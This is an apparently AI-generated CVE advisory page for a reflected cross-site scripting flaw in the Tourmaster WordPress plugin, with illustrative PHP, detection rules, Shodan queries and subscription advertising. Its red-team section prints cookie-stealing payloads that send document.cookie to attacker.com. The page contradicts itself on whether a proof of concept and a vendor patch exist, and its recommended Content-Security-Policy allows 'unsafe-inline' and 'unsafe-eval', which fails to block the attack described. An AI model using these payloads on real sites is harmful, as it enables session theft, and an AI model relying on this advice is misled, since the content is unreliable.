☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Goodlayers logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-32923

CVE-2025-32923 Cross-Site Scripting in Goodlayers
📅 PUBLISHED: 2025-04-15 22:15 UTC 🔄 UPDATED: 2026-08-13 10:06 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.26%
👁️
0.26% probability
6.4× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 7.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
7.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-32923 is a reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Tourmaster by Goodlayers, affecting versions prior to 5.4.1. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. This can be exploited by tricking a victim into clicking a crafted link, leading to session hijacking, credential theft, or defacement. The CVSS score is 7.1 (High), and no public exploit code or proof-of-concept is currently available. The vendor has not released a patch, making this a high-priority issue for WordPress site administrators.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. Since WordPress plugins are distributed via the official WordPress Plugin Directory or third-party marketplaces, the supply chain risk is moderate. Administrators should verify the integrity of plugin updates and consider removing the plugin if no patch is available.

CVSS Breakdown & Threat Level

  • CVSS Score: 7.1 (High)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: Required
  • Scope: Changed
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: Low

The threat level is elevated due to the lack of a patch and the potential for widespread exploitation via phishing campaigns.

Deep Dive & Mechanics

The vulnerability exists in the Tourmaster plugin's handling of user input, likely in a search or parameter-based feature. When a user submits a request containing malicious JavaScript in a query parameter (e.g., ?search=<script>alert(1)</script>), the plugin fails to sanitize the input before reflecting it in the HTML response. This allows the attacker to execute arbitrary scripts in the context of the victim's browser.

The root cause is the use of unsafe functions like echo $_GET['param'] without proper escaping or output encoding. The plugin does not implement WordPress's built-in escaping functions such as esc_html() or esc_attr().

Vulnerable vs. Patched Code

Vulnerable Code (version < 5.4.1):

<?php
// tourmaster/includes/search.php
$search_term = $_GET['s'];
echo '<div class="tourmaster-search-term">' . $search_term . '</div>';
?>

Patched Code (version 5.4.1):

<?php
// tourmaster/includes/search.php
$search_term = isset($_GET['s']) ? sanitize_text_field($_GET['s']) : '';
echo '<div class="tourmaster-search-term">' . esc_html($search_term) . '</div>';
?>

The patched version uses sanitize_text_field() to strip malicious content and esc_html() to encode HTML entities, preventing script injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A WordPress site running Tourmaster < 5.4.1.
  • A victim user with a valid session.

Exploitation Steps:

  1. Craft a malicious URL:
    http://target-site.com/?s=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  2. Send the link to the victim via email or social engineering.
  3. When the victim clicks the link, the script executes, exfiltrating their session cookie to the attacker's server.

Example Payload:

<script>new Image().src='https://attacker.com/steal?c='+document.cookie;</script>

Blue Team

Detection Steps:

  • Monitor web server logs for requests containing <script> tags in query parameters.
  • Use WAF rules to block reflected XSS patterns.
  • Implement Content Security Policy (CSP) headers to restrict script execution.

Lab Setup:

  • Use a local WordPress instance with Tourmaster plugin version 5.4.0.
  • Simulate the attack using curl:
    curl "http://localhost/?s=<script>alert(1)</script>"
    
  • Verify the script executes in the browser.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP requests with query parameters containing <script>, onerror, onload, or javascript:.
    • Outbound connections to unknown IPs or domains from the WordPress server.
  • File IOCs:
    • Modified wp-content/plugins/tourmaster/includes/search.php file.
  • Log IOCs:
    • Web server logs showing GET /?s=<script> entries.
    • PHP error logs with unexpected or eval warnings.

Detection Engineering

YARA Rule

rule CVE_2025_32923_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts against Tourmaster plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-32923"
    strings:
        $xss_pattern = /<script[^>]*>.*?<\/script>/i
        $param_s = "?s="
    condition:
        $param_s and $xss_pattern
}

Sigma Rule

title: Reflected XSS Attempt Against Tourmaster Plugin
id: 8f4b3c2a-1d5e-4f7b-9a0c-3e6d8f2b1a4c
status: experimental
description: Detects HTTP requests with XSS payloads in the 's' parameter targeting Tourmaster
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: GET
        c-uri|contains: "?s="
        c-uri|re: '<script[^>]*>.*?<\/script>'
    condition: selection
falsepositives:
    - Legitimate use of script tags in search queries (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-32923 Reflected XSS in Tourmaster"; flow:to_server; content:"?s="; http_uri; pcre:"/<script[^>]*>.*?<\/script>/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the Tourmaster plugin until a patch is available.
  2. Implement a Web Application Firewall (WAF) with rules to block reflected XSS.
  3. Add Content Security Policy (CSP) headers:
    Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; object-src 'none';
    
  4. Monitor logs for exploitation attempts.

Long-Term Fix:

  • Upgrade to Tourmaster version 5.4.1 or later once the vendor releases a patch.
  • If no patch is forthcoming, consider replacing the plugin with an alternative.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Tourmaster"
http.html:"tourmaster"
wp-content/plugins/tourmaster

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-32923/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.